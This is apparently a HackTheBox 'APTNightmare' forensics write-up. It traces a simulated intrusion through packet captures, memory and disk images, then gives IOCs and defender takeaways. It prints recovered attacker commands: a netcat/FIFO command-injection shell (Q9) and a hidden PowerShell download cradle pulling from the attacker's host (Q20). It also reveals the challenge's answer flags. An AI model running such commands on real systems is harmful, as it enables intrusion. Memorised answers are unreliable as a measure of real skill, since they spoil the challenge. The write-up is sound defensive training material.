// HackTheBox  ·  writeup

APTNightmare

HackTheBox Medium tsharkstringsMFTECmdLECmdEvtxECmdarzstdPython
DFIR

Scenario

This Sherlock comprises a series of forensics challenges that involve analyzing memory dumps, disk images, logs, network traffic and malware on Windows and Linux operating systems.

Executive Summary

An attacker at 192.168.1.5 scanned a web server, found DNS open, and pulled the whole zone with an unrestricted transfer. That exposed a monitoring subdomain, which they brute-forced through its login form and then abused to run a named-pipe netcat shell. Root came from a public polkit exploit run from that shell. For persistence the attacker replaced the system crontab, then poisoned the Debian package offered on the company’s download subdomain with a payload that writes into .bashrc. From the web server’s mail service they phished two executives with a macro document. The CEO’s workstation executed a hidden PowerShell stager against the attacker’s HTTP listener, which delivered a Cobalt Strike beacon kept alive by a scheduled task.

Artifacts

Format note: Several answers are checked against a masked format (asterisks where letters go). Use the mask to confirm length and case before submitting; Q19 is expected in upper case.

Reconnaissance

Q1 — What is the IP address of the infected web server?

Start with conversation and protocol stats to see who talks to whom. The scan traffic is answered by one host: SYN-ACKs come back from 192.168.1.3 to the scanner, and that host also serves HTTP, DNS and SMTP.

tshark -r traffic.pcapng -q -z conv,ip
Click flag to reveal 192.168.1.3
Q2 — What is the IP address of the Attacker?

The other end of the scan is the same address that later requests the zone transfer and sends the web login attempts, so one source covers recon, DNS and the web attack.

tshark -r traffic.pcapng -Y 'tcp.flags.syn==1 && tcp.flags.ack==0' -T fields -e ip.src | sort | uniq -c | sort -rn | head
Click to reveal answer 192.168.1.5
Q3 — How many open ports were discovered by the attacker?

An open port is one that answered the scan with a SYN-ACK. List the distinct source ports of SYN-ACKs from the server and count them. The raw count includes port 5555, which is the attacker’s later reverse-shell listener rather than a service found by the scan, so it is excluded.

tshark -r traffic.pcapng -Y 'ip.src==192.168.1.3 && tcp.flags.syn==1 && tcp.flags.ack==1' -T fields -e tcp.srcport | sort -nu

Gotcha: Counting every distinct SYN-ACK port gives 15. That sweeps in the shell port opened after the scan, so 14 is the scan result.

Click flag to reveal 14
Q4 — What are the first five ports identified by the attacker in numerical order during the enumeration phase, not considering the sequence of their discovery?

The wording is ambiguous, so take it as the five lowest open ports from the Q3 list, sorted numerically. This was reasoned from the wording rather than read from a single artifact, and HTB accepted it.

tshark -r traffic.pcapng -Y 'ip.src==192.168.1.3 && tcp.flags.syn==1 && tcp.flags.ack==1' -T fields -e tcp.srcport | sort -nu | head -5
Click to reveal answer 25,53,80,110,119
Q5 — The attacker exploited a misconfiguration allowing them to enumerate all subdomains. What is the method used commonly referred to as (e.g, Unrestricted Access Controls)?

Port 53 was open (Q4), and the capture contains a DNS query of type 252 (AXFR) for cs-corp.cd from the attacker. The server answered with the full zone, so zone transfers were not restricted to secondary servers. The mask XXX XXXX XXXXXXXX fits the technique name.

tshark -r traffic.pcapng -Y 'dns.qry.type==252'
Click flag to reveal DNS Zone Transfer
Q6 — How many subdomains were discovered by the attacker?

Dump the AXFR response and count the host records in the answer section.

tshark -r traffic.pcapng -Y 'dns.qry.type==252 && dns.flags.response==1' -V
Click to reveal answer 9

Credential Access

Q7 — What is the compromised subdomain (e.g., dev.example.com) ?

List the HTTP POSTs from the attacker. A long run of login POSTs targets one virtual host, a monitoring panel, and one of them stands apart from the failures.

tshark -r traffic.pcapng -Y 'http.request.method==POST' -T fields -e frame.number -e http.host -e http.request.uri
Click flag to reveal sysmon.cs-corp.cd
Q8 — What username and password were used to log in?

Frame 29388 is the login POST that breaks the pattern of the brute force. Read its form body for the credentials.

tshark -r traffic.pcapng -Y 'frame.number==29388' -T fields -e urlencoded-form.key -e urlencoded-form.value
Click to reveal answer admin:Pass@000_

Initial Access

Q9 — What command gave the attacker their initial access ?

After the login, filter the POSTs to sysmon.cs-corp.cd that are not login attempts. Frame 32414 posts to index.php with a command-injection payload that builds a FIFO and pipes it through bash and a netcat listener on 5555, which is the shell the attacker used afterwards.

tshark -r traffic.pcapng -Y 'http.request.method==POST' -V | grep -i mkfifo
Click flag to reveal |mkfifo /tmp/mypipe;cat /tmp/mypipe|/bin/bash|nc -l -p 5555 >/tmp/mypipe

Privilege Escalation

Q10 — What is the CVE identifier for the vulnerability that the attacker exploited to achieve privilege escalation (e.g, CVE-2016-5195) ?

Follow the TCP stream of the shell on port 5555 (stream 2785). The attacker-side commands download and run the PwnKit exploit, a polkit pkexec local privilege escalation.

tshark -r traffic.pcapng -q -z follow,tcp,ascii,2785
Click to reveal answer CVE-2021-4034

Persistence

Q11 — What is the MITRE ID of the technique used by the attacker to achieve persistence (e.g, T1098.001)?

The same shell stream shows /etc/crontab being replaced, which is Scheduled Task/Job: Cron. The mask *****.**3 matches.

Click flag to reveal T1053.003
Q12 — The attacker tampered with the software hosted on the 'download' subdomain with the intent of gaining access to end-users. What is the Mitre ATT&CK technique ID for this attack?

Modifying packages on the company’s own download site so customers install them is Supply Chain Compromise: Compromise Software Supply Chain. This was reasoned from the behaviour and the mask rather than read from an artifact, and HTB accepted it.

Click to reveal answer T1195.002
Q13 — What command provided persistence in the cs-linux.deb file?

The package moves over HTTP on port 8000, which tshark does not decode as HTTP by default, so the object export misses it. Follow the raw stream (2861) and carve the .deb, then unpack it with ar, decompress the control and data archives, and read the maintainer script. The payload is base64 and zlib encoded; decoding it statically reveals the line appended to .bashrc.

tshark -r traffic.pcapng -q -z follow,tcp,raw,2861
ar x cs.deb && zstd -d data.tar.zst && tar -xf data.tar

Tip: Run tshark -d tcp.port==8000,http --export-objects http,out to get the HTTP objects on the non-standard port. Several downloads sit in streams 2813 to 2868.

Click flag to reveal echo cs-linux && >> ~/.bashrc

Initial Access (phishing)

Q14 — The attacker sent emails to employees, what is the name of the running process that allowed this to occur?

The web server’s mail runs in a Citadel groupware process. The memory image’s process listing and strings show citserver serving the mail.

strings -a Memory_WebServer.mem | grep -i citserver | head
Click to reveal answer citserver
Q15 — We received a phishing email. Provide the subject of that email.

Carve mail headers out of memory by grepping for Subject: near the Citadel message store.

strings -a Memory_WebServer.mem | grep -i '^Subject:'
Click flag to reveal Review Revised Privacy Policy
Q16 — What is the name of the malicious attachment?

The Citadel MIME part for that message names the attachment, a macro-enabled Word document.

strings -a Memory_WebServer.mem | grep -i '\.docm'
Click to reveal answer policy.docm
Q17 — Please identify the usernames of the CEOs who received the attachment.

Pull the To: and From: lines around the phishing message and count the ceo- accounts. Two executive accounts appear. This was read from the mail headers, but which of them are the recipients was reasoned from the From lines of the two messages, and HTB accepted it.

strings -a Memory_WebServer.mem | grep -iE '^(To|From):' | grep -i ceo- | sort | uniq -c
Click flag to reveal ceo-ru, ceo-us

Execution

Q18 — What is the hostname for the compromised CEO?

Unzip DiskImage_CEO-US.zip and its nested archive. The KAPE ConsoleLog at the top of the collection records the machine it ran on.

head work/disk/*/*ConsoleLog*.txt
Click to reveal answer DESKTOP-ELS5JAK
Q19 — What is the full path for the malicious attachment?

Parse the $MFT and search for policy, then confirm with the Office recent-files shortcut, which stores the target path of the opened document.

MFTECmd -f '$MFT' --csv work/mft --csv-f mft.csv
LECmd -f policy.LNK

Gotcha: The mask shows a Windows path; the accepted string is upper case (C:\USERS\CEO-US\DOWNLOADS\POLICY.DOCM), matching how the LNK target was recorded.

Click flag to reveal C:\USERS\CEO-US\DOWNLOADS\POLICY.DOCM
Q20 — What was the command used to gain initial access?

Searching the collection for downloadstring finds the PowerShell logs. Parse the event logs and look at the script-block event (ID 600 in the PowerShell log): a hidden, no-profile IEX download cradle against the attacker’s port 806.

grep -rIl downloadstring work/disk
EvtxECmd -d winevt/logs --csv work/evtx --csvf ev.csv
Click to reveal answer powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.5:806/a'))

Command and Control

Q21 — What is the popular C2 framework associated with the malicious executable used to gain initial access?

The cradle fetches /a on a non-standard port 806 over plain HTTP, the staging pattern of a Cobalt Strike HTTP listener. This was reasoned from that pattern, not read from the beacon, and HTB accepted it.

Click flag to reveal Cobalt Strike
Q22 — What is the payload type?

Cobalt Strike names its payloads <os>-beacon_<listener>; an HTTP stager for a Windows host maps to the windows-beacon_http-reverse_http payload. This is naming convention reasoning (HTB accepted it), not a decoded beacon config.

Click to reveal answer windows-beacon_http-reverse_http

Persistence (Windows)

Q23 — What is the task name that has been added by the attacker?

Look for Task Scheduler event 106 (task registered) in the parsed event logs, then confirm in System32/Tasks. The WindowsUpdateCheck task runs C:\Users\Public\WindowsUpdate.exe, an executable in a world-writable folder dressed up as a Windows update.

grep ',106,' work/evtx/ev.csv | grep -i TaskScheduler
find work/disk -ipath '*System32/Tasks*' -type f
Click flag to reveal WindowsUpdateCheck

Attack Summary

PhaseAction
ReconnaissancePort scan of the web server finds 14 open ports
ReconnaissanceDNS zone transfer for cs-corp.cd exposes 9 hosts
Credential AccessBrute force of the sysmon panel login succeeds
Initial AccessCommand injection starts a FIFO and netcat shell on 5555
Privilege EscalationPwnKit (CVE-2021-4034) gives root
Persistence/etc/crontab replaced
Resource Developmentcs-linux.deb on the download site trojanised with a .bashrc payload
Initial AccessPhishing mail from the web server’s Citadel with policy.docm to two CEO accounts
ExecutionCEO-US opens the document; hidden PowerShell cradle fetches a Cobalt Strike stager from port 806
PersistenceWindowsUpdateCheck scheduled task runs C:\Users\Public\WindowsUpdate.exe

IOCs

TypeValue
IP (attacker)192.168.1[.]5
IP (web server)192.168.1[.]3
Domainsysmon[.]cs-corp[.]cd
Credentialsadmin:Pass@000_
URLhxxp[://]192[.]168[.]1[.]5:806/a
Filecs-linux.deb
Filepolicy.docm (C:\Users\ceo-us\Downloads\policy.docm)
FileC:\Users\Public\WindowsUpdate.exe
Scheduled taskWindowsUpdateCheck
Email subjectReview Revised Privacy Policy

MITRE ATT&CK

TechniqueIDDescription
Active Scanning: Scanning IP BlocksT1595.001Port scan of the web server
Gather Victim Network Information: DNST1590.002Unrestricted AXFR of cs-corp.cd
Brute ForceT1110Login brute force against the sysmon panel
Exploit Public-Facing ApplicationT1190Command injection through index.php
Command and Scripting Interpreter: Unix ShellT1059.004FIFO and netcat shell
Exploitation for Privilege EscalationT1068PwnKit
Scheduled Task/Job: CronT1053.003Replaced /etc/crontab
Supply Chain Compromise: Compromise Software Supply ChainT1195.002Trojanised cs-linux.deb
Phishing: Spearphishing AttachmentT1566.001policy.docm sent to the CEOs
Command and Scripting Interpreter: PowerShellT1059.001Hidden IEX download cradle
Application Layer Protocol: Web ProtocolsT1071.001HTTP beacon staging on port 806
Scheduled Task/Job: Scheduled TaskT1053.005WindowsUpdateCheck

Defender Takeaways

Restrict DNS zone transfers. An unrestricted AXFR gave the attacker the full host list in one query, including the internal monitoring panel. Allow transfers only to named secondaries, and alert on type 252 queries from anywhere else.

Keep admin panels off the same exposure as the web server and enforce lockout. The monitoring login fell to password guessing, and a single command-injection POST turned that access into a shell. Rate limiting, MFA and removing shell-capable features would each have broken the chain.

Patch polkit and watch for pkexec abuse. PwnKit has been public since 2022 and was the only step needed to reach root. A package update, plus detection of pkexec run with an empty argument list, closes it.

Sign and verify what the download site serves. The poisoned .deb carried an obfuscated payload that wrote to .bashrc. Publishing hashes and signatures out of band, and diffing package contents on release, would catch a swapped file.

Treat macro documents from internal senders as hostile. The phishing mail came from the compromised web server, so sender reputation did not help. Block Office macros from the internet, and alert on hidden powershell.exe IEX cradles and scheduled tasks that point into C:\Users\Public.

Conclusion

One exposed zone transfer led the attacker from a port scan to root, a trojanised download package, and a Cobalt Strike beacon on the CEO’s workstation. Each step reused something the previous one exposed, so a single control, such as restricting AXFR or the admin panel, would have cut the chain early.